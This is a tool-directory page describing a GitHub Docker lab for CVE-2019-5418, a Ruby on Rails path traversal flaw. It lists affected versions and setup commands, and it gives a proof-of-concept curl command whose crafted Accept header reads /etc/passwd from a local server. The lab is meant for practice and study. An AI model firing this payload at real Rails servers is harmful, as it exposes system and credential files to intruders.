Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-5418 — Docker-based lab environment for CVE-2019-5418 Ruby on Rails path traversal exploit, with PoC curl commands to read arbitrary server files via crafted Accept headers. | Kitploit
Tools/GitHubGitHub/daehyeok0618/cve-2019-5418
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdaehyeok0618/cve-2019-5418

CVE-2019-5418

Docker-based lab environment for CVE-2019-5418 Ruby on Rails path traversal exploit, with PoC curl commands to read arbitrary server files via crafted Accept headers.

View Repository
311 year agoNot yet reviewed
Share

CVE-2019-5418: Ruby on Rails Path Traversal & Arbitrary File Read

This project is an environment for practicing and reproducing the local file inclusion vulnerability (CVE-2019-5418) in Ruby on Rails. This vulnerability allows reading arbitrary files on the server through path traversal via the Accept header.

Vulnerability Summary

Ruby on Rails is a web application framework that allows developers to build web applications quickly and easily.

Ruby on Rails Action View versions <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 have a local file inclusion vulnerability.

When render file is used in a controller to render a view from outside the application, Rails determines the file location based on the user-supplied Accept header. By sending an Accept header with the value Accept: ../../../../../../../../etc/passwd{{, an attacker can exploit a path traversal vulnerability to read arbitrary files.

Environment Setup

Run the following commands to compile and start Ruby on Rails 5.2.2:

docker compose build
docker compose up -d

After the server starts, you can visit the Ruby on Rails page by accessing http://your-ip:3000. image1

PoC Example

curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots

image2 Successfully read arbitrary files inside the server through the Accept header.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools →